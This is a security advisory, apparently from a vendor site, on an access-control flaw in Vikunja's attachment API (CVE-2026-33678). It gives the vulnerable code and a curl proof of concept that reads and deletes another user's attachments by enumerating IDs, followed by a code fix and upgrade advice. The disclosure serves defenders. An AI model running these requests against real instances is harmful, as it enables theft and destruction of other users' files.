Summary
TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.
Details
The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:
// pkg/models/task_attachment.go:110-120
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID
if err != nil {
return
}
if !exists {
return ErrTaskAttachmentDoesNotExist{
TaskID: ta.TaskID,
AttachmentID: ta.ID,
}
}
// ...
}
The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:
// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task
return t.CanRead(s, a)
}
The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):
// pkg/models/task_attachment.go:41-42
ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"`
TaskID int64 `xorm:"bigint not null" json:"task_id" param:"task"`
Attack flow for read (GET):
The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).
Attack flow for delete (DELETE):
The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.
This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:
// pkg/models/task_comments.go:196-205 (the fix)
func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
query := s.Where("id = ?", tc.ID).NoAutoCondition()
if tc.TaskID != 0 {
query = query.And("task_id = ?", tc.TaskID)
}
// ...
}
PoC
Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).
Step 1: Attacker creates their own project and task.
# Attacker creates a project
curl -s -X PUT 'http://localhost:3456/api/v1/projects' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"attacker project"}' | jq '.id'
# Returns: 10
# Attacker creates a task in their project
curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"attacker task"}' | jq '.id'
# Returns: 50
Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).
curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
-H 'Authorization: Bearer <victim_token>' \
-F '[email protected]'
# Returns attachment with id: 5
Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.
# Attacker accesses victim's attachment (id=5) via their own task (id=50)
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
-H 'Authorization: Bearer <attacker_token>' \
-o stolen-file.pdf
# Returns: victim's secret-document.pdf
Step 4: Attacker can also delete the victim's attachment.
curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
-H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK, victim's attachment is deleted
Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).
Impact
- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
- Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
- Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
- Scope: Affects all Vikunja instances with task attachments enabled (the default).
CVE-2026-33678 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add task_id validation to ReadOne, mirroring the fix already applied to task comments:
// pkg/models/task_attachment.go
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
query := s.Where("id = ?", ta.ID)
if ta.TaskID != 0 {
query = query.And("task_id = ?", ta.TaskID)
}
exists, err := query.Get(ta)
if err != nil {
return
}
if !exists {
return ErrTaskAttachmentDoesNotExist{
TaskID: ta.TaskID,
AttachmentID: ta.ID,
}
}
// ... rest unchanged
}
Frequently Asked Questions
- What is CVE-2026-33678? CVE-2026-33678 is a high-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.0. It is fixed in 2.2.1.
- How severe is CVE-2026-33678? CVE-2026-33678 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.vikunja.io/api are affected by CVE-2026-33678? code.vikunja.io/api (go) versions <= 2.2.0 is affected.
- Is there a fix for CVE-2026-33678? Yes. CVE-2026-33678 is fixed in 2.2.1. Upgrade to this version or later.
- Is CVE-2026-33678 exploitable, and should I be worried? Whether CVE-2026-33678 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33678 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33678? Upgrade
code.vikunja.io/apito 2.2.1 or later.